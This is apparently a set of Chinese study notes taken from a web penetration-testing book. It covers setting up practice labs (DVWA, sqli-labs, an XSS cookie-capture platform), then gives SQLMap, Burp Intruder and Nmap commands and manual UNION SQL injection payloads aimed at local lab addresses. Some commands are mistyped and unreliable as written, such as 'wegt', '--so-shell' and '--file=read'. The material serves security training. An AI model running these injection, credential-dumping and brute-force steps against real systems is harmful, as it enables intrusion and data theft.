LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。
首先,下载需要的安装包,命令如下所示。
wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz
下载完成后进行解压,解压文件的命令为tar zxvf lanmp_v3.tar.gz,运行环境如下图所示。
输入sh lanmp.sh命令运行LANMP,这时程序中会有5个选项,如下图所示:
选项1是安装Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项2是安装Nginx、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务:选项3是安装Nginx Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项4是安装所有服务:选项5是现在不安装。Zend Guard是一款PHP加密工具,经过加密的文件,务必安装Zend才能返回正常页面;PureFTPd是FTP空间服务;phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境,自行选择。
在Kali和Ubuntu等系统中,输入sh lanmp.sh命令后提示有如下图所示错误:
这是因为系统的dash兼容性不好,而编译器常用的就是dash。所以可以输入以下命令,直接更该系统的编译器(shell)操作。
sudo dpkg-reconfigure dash
然后选择“
接着输入sudo sh lanmp.sh命令继续安装,如图所示:
这时选择你要安装的环境即可,安装的过程可能有点慢,安装完成后即可看到如下图所示的内容。在浏览器中访问IP和8080端口,输入默认的账号admin和密码wdlinux.cn,登陆成功后应先修改默认密码,防止被攻击。
WAMP是Windows中Apache、MySQL和PHP的应用环境,这里演示的是WampServer,在Web安全攻防这本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示,单击“下一步”按钮。通常在安装WampServer时会遇到一个问题,提示找不到MSVCR110.dll解决方案是去错误提示信息!下载Msvce110-zip后,将32位的系统放到C:\Windows\System32目录下,重新安装一遍就能解决。如果遇到Apache启动失败的情况,应当先卸载Apache服务,然后重新安装Apache服务并启动,如下图所示:
启动成功后访问127.0.0.1,如下图所示,表示服务已经正常运行。
DVWA是一款开源的渗透测试漏洞练习平台,其中内涵XSS、SQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。在本书的同步网站下载其安装文件。在安装时需要在数据库里创建一个数据库名,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,创建名为“dvwa”的数据库,如下图示:
接着修改config文件下的config.inc.php中数据库的用户名、密码、数据库名,如下图所示:
修改完成后,保存并复制所有源码,粘贴在网站的根目录中,也就是www目录下,打开浏览器访问http://127.0.0.1/setup.php,单击“Create/Reset Database”按钮进行安装,安装成功后如下图所示,单击“login”即可登录,默认账号为admin,密码为password。
在安装过程中可能会出现红色的Disabled,修改PHP安装目录中的php.ini文件,找到allow_url_include,把Off改为On,然后重启PHP即可解决这个问题,如下图所示:
sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入,在本书的同步网站下载完压缩包后并解压,复制源码然后将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把源代码中的sqli-labs.sql文件导入数据库中,如下图所示:
打开sql-connections文件夹中的db-creds.inc文件,可以修改数据库的账号、密码、库名等配置信息,笔者修改完数据库密码后,打开浏览器访问127.0.0.1/sql1/,接着单击“Setup/reset Database for labs”,如下图所示:
笔者在www目录中创建了sql1文件夹,并把代码放在该目录下,单击“Setup/reset Database for labs”后会自动访问http://127.0.0.1/sql1/sql-connections/setup-db-php,如果出现如图2-15所示的信息,说明安装成功。
XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压,然后将其放置在用来搭建XSS平台的网站目录下。安装过程如下所示。
进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库。如xssplatform:设置其用户名和密码,如图2-16所示。
修改config-php中的数据库连接字段。包括用户名、密码和数据库名,访问 XSS平台的URL地址,将注册配置中的invite改为normal,要修改的配置如图2-17所示。
进入MySQL管理中的phpMyAdmin,选择XSS平台的数据库,导入源码包中的xssplatform.sql文件,然后执行以下SQL命令,将数据库中原有的URL地址修改为自己使用的URL,如图2-18所示。同时,也需要将authtest.php中的网址代码替换为自己的URL,如图2-19中用线框标出的部分。
UPDATE oc-module SETcode=REPLACE(code,'http://xsser.me’,’ http://yourdomain/xss’)
接下来访问搭建XSS平台的URL,首先注册用户,然后在phpMyAdmin里选择oc_user,将注册用户的adminLevel改为1,如图2-20所示。再将config-php 注册配置中的normal改为invite(使用邀请码注册,即关闭开放注册的功能)。
需要配置伪静态文件(htaccess),平台根目录下创建.htaccess文件,写入以下代码。
使用注册的账号登录XSS平台,创建项目,如图2-21所示。
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
3.1.1 安装SQLMap
SQLMap的安装需要Python环境(不支持Python 3),本节使用的是Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。
然后在SQLMap的官网(sqlmap: automatic SQL injection and database takeover tool)下载最新版本的SQLMap,下载到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。
3.1.2 SQLMap入门
1.判断是否存在注入
假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11,判断其是否存在注入的命令如下所示。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1
当注入点后面的参数大于等于两个小时,需要家双引号,如下所示。
Sqlmap.py -u “http://129.168.1.104/sql1/Less-1/?id=1&uid=2”
2.判断文本中的请求是否存在注入
判断是否存在注入的命令如下所示。(-r一般在存在cookie注入时使用)
Sqlmap.py -r desktop/1.txt
3.查询当前用户的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1 –dbs
4.获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –tables
5.获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info --columns
6.获取字段内容
该命令是查询完字段名后,获取该字段中具体的数据信息。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info -Cusername,password --dump
7.获取数据库的所有用户
该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出使用管理用户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --users
8.获取数据库用户的密码
该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --passwords
9.获取当前网站数据库的名称
使用该命令可以列出当前的数据库。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --current-db
10.获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --current-user
3.1.3 SQLMap进阶:参数讲解
1.--level 5:探测等级
参数—level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1.
2.--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --is-dba
3.--roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如图所示:
4.--referer: HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当—level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如—referer 百度一下,你就知道。
5.--sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --sql-shell
6.--os-cmd,--os-shell:运行任意操作系统命令
在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell储存过程,如果被禁用,则SQLMap会重新启用它;如果不存在,会自动创建。
用--so-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时,仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。--so-shell支持ASP、ASP.NET、JSP和PHP四种语言。
7.--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
$ python sqlmap.py -u
“http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther”\
--file=read “C:/example.exe” -v 1
8. --file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
3.1.4 SQLMap自带绕过脚本tamper的讲解
SQLMap在默认情况下除了使用CHAR()函数防止查询单引号,没有对置入的数据进行修改,读者还可以使用—tamper参数对数据修改WAF等设备,其中大部分脚本主要用正则模块替换共计载荷字符编码的方式尝试绕过WAF的检测规则,目录如下所示。
Sqlmap.py xxxxx –tamper “模块名”
目前官方提供53个绕过脚本,下面是一个tamper脚本的格式。
一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS.IPS)进行试探,可以使用参数--identify-waf进行检测。
3.2.1 Burp Suite的安装
Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。
专业版与免费版的主要区别有一下三点。
Burp Suite是用Java语言开发的,运行时依赖JRE,需要安装Java环境才可以运行。用百度搜索JDK,选择安装包然后下载即可,打开安装包后单击“下一步”按钮进行安装(安装路径可以自己更改或者采用默认路径)。提示安装完成后,打开cmd,输入java-version进行查看,若返回版本信息则说明已经正确安装,如图3-18所示。
接下来配置环境变量,右击“计算机”,接着单击“属性”→“高级系统设置 3.2.2 Burp
→“环境变量”,然后新建系统变量,在弹出框的“变量名”处输入“JAVA_HOME”
在“变量值”处输入JDK的安装路径,如“C:\Program Files(x86)\Java\jdk1.8.0_112”, 然后单击“确定”按钮。
在“系统变量”中找到PATH变量,在“变量值”的最前面加上“%JAVA HOME%bin:",然后单击“确定”按钮。
在“系统变量”中找到CLASSPATH变量,若不存在则新建这个变量,在“变量值”的最前面加上“.;%JAVA_HOME%\lib\dtjar;%JAVA_HOME%\libtools.jar; ",然后单击“确定”按钮。
打开cmd,输入javac,若返回帮助信息,如图3-19所示,说明已经正确配置了环境变量。
下载好的Burp无须安装,直接双击BurpLoaderjar文件即可运行。
3.2.2 Burp Suite 入门
Burp Suite代理工具是以拦截代理的方式,拦截使用通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦藏HTTP和HTTPS协议的流量,通过拦截,BurpSuite以中间人的方式对客户端的请求数据、服务端的返回息做各种处理。以达到安全测试的目的。
在日常工作中,最常用的Web客户端就是Web浏览器,我们可以通过设置代理位息,拦截Web浏览器的流量,并对经过Burp Suire代理的流量数据进行处理。Burp Suite运行后,BurpProxy默认本地代理端口为8080,如图3-21所示。
这里以Firefox浏览器为例,单击浏览器右上角“打开菜单”,依次单击“选项”à“常规”à“网络代理”à“设置”à“手动配置代理”,如图3-22所示,设置HTTF代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。
1.Proxy
Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。
*Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示。
*Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 Drop表示丢弃当前拦截的数据包。
*Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。
*单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、 Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其 body的编码等功能。
打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。
当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包:Raw、Params、Headers和Hex。
*Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求
地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试
*Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、 cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。
*Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。
*Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用,如图3-23所示
2.Spider
Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中Spider爬取到的内容将在Target中展示,如图3-24所示,界面左侧为一个主机和目录树,选择具体某一个分支即可查看对应的请求与响应。
4.Decoder
Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。
Decoder的界面如图3-25所示。输入域显示的是需要编码/解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具上下文菜单中的“Send to Decoder选项发送过来:输出域显示的是对输入域中原始数据进行编码/解码的结果。无论是输入域还是输出域都支持文本和Hex这两种格式,编码解码选项由解码选项(Decode as)、编码选项(Encode as)、散列(Hash)构成。在实际使用时,可以根据场景的需要进行设置。
对编码解码选项面言,目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP共八种形式的格式转换。Hash散列支持SHA、SHA-224、 SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。更重要的是,对同一个数据,我们可以在Decoder界面进行多次编码、解码的转换。
3.2.3 Burp Suite进阶
3.2.3.1 Scanner
Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍Burp Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。
首先、确认BurpSute正常启动并完成浏览器代理的配置,然后进入Burp Proxy.关闭代理拦截功能,快速浏览需要扫搞的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏润、而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。
我们随便找一个网站进行测试,选择BurpTarget的站点地图选项下的链接,在其链接URL上右击选择“Actively scanthis host",此时会弹出过滤设置,保持默认选场即可扫描整个域,如图3-26所示。
也可以在Proxy下的HTTP history中,选择某个节点上的链接URL并右击选择Do an active scan进行扫描,如图3-27所示。
这时,Burp Scanner开始扫描,在Scanner界面下双击即可看到扫描结果,如图3-28所示。
我们也可以在扫描结果中选中需要进行分析的部分,将其发送到repeater模块中进行模拟提交分析和验证,如图3-29所示。
当scanner扫描完成后,可以右击Burp Target站点地图选项下的链接,依次选择“issues”→“Report issues”选项,然后导出漏洞报告,如图3-30所示。
然后将漏洞报告以html文件格式保存,结果如图3-31所示。
通过以上操作步骤我们可以学习到:Burp Scanner主要有主动扫描和被动扫描两种扫描方式。
1.主动扫描(Active Scanner)
当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据。直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。
*客户端的漏洞,如XSS、HTTP头注入、操作重定向。
*服务端的漏洞,如SQL注入、命令行注入、文件遍历。
对第一类漏洞,Burp在检测时会提交input域,然后根据应答的数据进行解析在检测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的:对第二类漏洞,以SQL注入为例,服务端有可能返回数据库错误提示信息,也有可能什么都不反馈。Burp在检测过程中会采用各个技术验证漏洞是否存在,例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高漏洞扫描报告的准确性。
2.被动扫描(Passive Scanning)
当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检潮。一般来说,下列渴洞在被动模式中容易被检测出来。
*提交的密码为未加密的明文。
*不安全的cookie的属性。例如缺少HnpOnly和安全标志。
*cookie的范围缺失
*跨域脚本包含和站点引用泄露表单值自动填充,尤其是密码。
*SSL保护的内容缓存。目录列表。
*提交密码后应答延迟。 session令牌的不安全传输。
*敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。
*不安全的ViewStatc的配置
*错误或不规范的Content-Type指令
虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。
3.2.3.2 Intruder
Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等。
它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。
*标识符枚举。Wcb应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。
*提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。
*模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。
下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法,如图3-32所示,这里使用方法只是为了实验,读者不要将其用于其他非法用途。前提是你得有比较好的字典,我们准备好的字典如图3-33所示。需要注意的是,Burp Suite的文件不要放在中文的路径下。
然后选择要进行暴力破解的参数值,将pass参数选中,单击“AddS”按钮,这只对一个参数进行暴力破解,所以攻击类型使用sniper即可,如图3-36所示。这里梦注意的是,如果要同时对用户名和密码进行破解,可以同时选中user和pass参数,日选择交叉式clusterbomb模式进行暴力破解。
*Sniper模式使用单一的Payload组。它会针对每个位置设置Payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击中的请求总数应该是position数量和Payload数量的乘积。
*Batteringram模式使用单一的Payload组。它会重复Payload并一次性把所有相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。
*Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组,把 Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的Payload组中的 Payload数量。
*Cluster bomb模式会使用多个Payload组。每个定义的位置中有不同的 Pavload组。攻击会迭代每个Payload组,每种Payload组合都会被测试一遍这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各Payload组中Payload数量的乘积。
这里对Status或Length的返回值进行排序,查看是否有不同之处。如果有,查看返回包是否显示为登录成功,如果返回的数据包中有明显的登录成功的信息,则说明已经破解成功,如图3-39所示。
Burp Repeater是一个手动修改、补发个别HTTP请求,并分析它们的响应的工具。它最大的用途就是能和其他Burp Suite工具结合起来使用。可以将目标站点地图、BurpProxy浏览记录、BurpIntruder的攻击结果,发送到Repeater上,并手动调整这个请来来对漏洞的探测或攻击进行微调。
Repeatcr分析选项有4种:Raw、Params、Headcrs和Hex
*Raw;显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功能,可以用来快速定位需要寻找的字符串,如出错消息。利用搜索栏左边的弹出项,能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。
*Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求, Params选项会把这些参数显示为名字/值的格式,这样就可以简单地对它们进行查看和修改了。
*Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息体
*Hex:允许直接编辑由原始二进制数据组成的消息。
在渗透测试过程中,我们经常使用Repeater进行请求与响应的消息验证分析,例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater,如图3-40所示。
在Repcacr的操作界面中,左边的Rcquem为请求消息区,右边的Responsc万应省劳念区。请表清息区显示的是客户端发送的请求消息的详细信息。当我们编辑完请求消意后,单击按即可发送请求给服务端,如图3-41所示。
应答消息区显示的是对对应的请求消息单击“GO"按钮后,服务端的反馈消息。通过修改请求消息的参数来比对分析每次应答消息之间的差异,能更好地帮助我们分析系统可能存在的漏洞,如图3-42所示。
3.2.3.3 Comparer
BurpComparer在BurpSuite中主要提供一个可视化的差异比对功能,来对比分两次数据之间的区别,使用到的场合有:
*枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的别。
*使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次应的区别在哪里。
*进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。
使用Comparer时有两个步骤,先是数据加载,如图3-43所示,然后是差异分析如图3-44所示。
Comparer数据加载的常用方式如下所示。
*从其他Burp工具通过上下文菜单转发过来。
*直接粘贴。
*从文件里加载。
加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。
3.2.3.4 Sequencer
Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。
Burp Sequencer主要由信息截取(LiveCapture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。
在截取信息后,单击Load按钮加载信息,然后单击“Analyze now”按钮进行分析,如图3-45所示。
主机信息收集技术——基础知识
黑客攻击的一般过程:
信息收集:
主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
端口扫描:Nmap
Nmap (网络映射器)是Gordon Lyon最初编写的一种安全扫描器,用于发现计算机网络上的主机和服务,从而创建网络的“映射”。为了实现其目标,Nmap将特定数据包发送到目标主机,然后分析响应.NMAP强大的网络工具,用于枚举和测试网络。
扫描器之王
主机信息收集技术——Nmap
nmap使用教程Nmap简介和使用方法_NJUPTOceanMa的博客-CSDN博客_nmap
https://blog.csdn.net/m1585761297/article/details/80015726
nmap 192.168.1.1
nmap -A –T4 -v 192.168.1.1
-A 开启操作系统识别和版本识别功能
nmap没法判断操作系统类型时,会把扫描的指纹特征显示出来,让使用者自己判断。
-T 0-5档,设置扫描的快慢,0最慢,5最快;
级别越高,发包量越大,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;
一般选择T4
-v 显示信息的级别,-vv 显示更详细的信息
192.168.1.1 扫描单个目标
192.168.1.1 192.168.1.5 … 扫描多个目标
192.168.1.1/24 扫描C段 或者 192.168.1.1-254
nmap -A –T4 -v -iL ~/targets.txt
-iL 表示要扫描的目标(IP地址或主机名)位于一个文档中
nmap -A –T4 -v 192.168.1.1/24 --exclude 192.168.1.100
--exclude 192.168.1.100 表示排除在外的目标,减少目标 节省时间
nmap -A –T4 -v 192.168.1.1/24 --excludefile ~/targets.txt
--excludefile ~/targets.txt 表示排除在外的目标包含在一个文档中
nmap 192.168.1.1 -p 80,443
-p 80,443 表示扫描特定(指定对应的)端口,聚焦我们的目标 节省扫描时间。如果不用-p指定端口, 默认扫描1000个常用端口 ,全端口扫描是很费时的,扫描一个主机可能需要几个小时( 2的16次方,一般用到的是1到65535,其中0不使用。系统知名端口(Well-Known Ports)为0~1023,这些端口只有系统特许的进程才能使用;1024-49151为用户端口(Registered ports)。 49152-65535称为动态端口(Dynamic Ports)。)
nmap --traceroute 192.168.1.1
nmap -O 192.168.1.1
-O 对目标进行指纹识别
nmap -sV 192.168.1.1
-sV 对具体小版本进行探测
nmap -sF -T4 192.168.1.1
-sF 利用fin包对端口进行扫描的技术,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。
状态 |
说明 |
open |
应用程序在该端口接收 TCP 连接或者 UDP 报文 |
closed |
关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听 |
filtered |
由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备, 路由规则 或者主机上的软件防火墙 |
unfiltered |
未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态 |
open | filtered |
无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢 弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。 |
主机信息收集技术——Nmap进阶
扫描脚本介绍:
位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts
脚本类型:
ll /usr/share/nmap/scripts | grep ^- | wc -l
使用介绍
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等服务进行简单密码的暴力猜解
nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。
nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况
主机信息收集技术——zenmap
Nmap图形化界面:
SQL注入就是指web应用程序对用户输入数据合法没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作
下面以PHP为例
$query="SELECT * FROM users WHERE id=$_GET['id']"
由于这里的参数是可控的,且带入数据库查询,所以非法用户可以
SQL注入分为很多种:如报错注入、盲注、Union注入等
在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema” 的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA、TABLES和 COLUMNS。
SCHEMATA表存储该用户创建的所有数据库的库名。
库名的字段名SCHEMA_NAME。
TABLES表存储改用户创建所有数据库的库名和表名
库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,
库名、表名和字段名的字段名为TABLE、SCHEMA、TABLE_NAME和COLUMN_NAME
SQL注入漏洞的产生需要满足的两个条件:
1.MySQL查询语句 在不知道任何条件时,语句如下所示。
#不知任何条件
SELECT 要查询的字段名 FROM库名.表名
#知道一条条件时
SELECT 要查询的字段名 FROM库名.表名
#知道多个条件时
SELECT 要查询的字段名 FROM库名.表名 WHERE 已知条件1的字段名=已知条件1的值 AND 已知条件2的字段名=已知条件2的值’
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条 记录;n是指取n条记录。例如limit0,l表示从第一条记录开始,取一条记录
database( ):当前网站使用的数据库
version( ):当前MySQL的版本
user( ):当前MySQL的用户
在MySQL中,常见注释符的表达方式:#或--空格或/**/。
内联注释的形式:/*!code*/。内联注释可以用于整个SQL语句中,用来执行我 们的SQL语句
index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3。
concat(str1,str2)
concat_ws(separator,str1,str2...)
group_concat(str1,str2)
sqlmap注⼊教程常⽤命令⼤全
sqlmap.py -u “注⼊地址” --dbs // 列举数据库 sqlmap.py -u “注⼊地址” --current-db // 当前数据库
sqlmap.py -u “注⼊地址” --users // 列数据库⽤户
sqlmap.py -u “注⼊地址” --current–user // 当前⽤户
sqlmap.py -u “注⼊地址” --tables -D “数据库” // 列举数据库的表名
sqlmap.py -u “注⼊地址” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap.py -u “注⼊地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息
Union注入攻击
http://192.168.21.129/sql/Less-1/?id=1
http://192.168.21.129/sql/Less-1/?id=1' and '1'='1
and 1=1为真,页面返回和id=1是一样的结果
http://192.168.21.129/sql/Less-1/?id=1' and '1'='2
and 1=1为假,页面返回和id=1是不一样的结果
http://192.168.21.129/sql/Less-1/?id=1 order by 3--+
--+可以注释前面的单引号
id=1 order by 3和id=1是一样的结果,结合下列两张图片可知,数据为第三列
2和3可以正常注入
查看版本信息
可以通过设置参数id值,让服务器返回union select的结果,把ID的值设置为-1(空),这样数据库中没有id=-1的数据,所以会返回union select的结果
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select version())--+
使用group_concat()查数据库
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
使用database()查询数据库
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,database(),3--+
查数据库
http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
查表
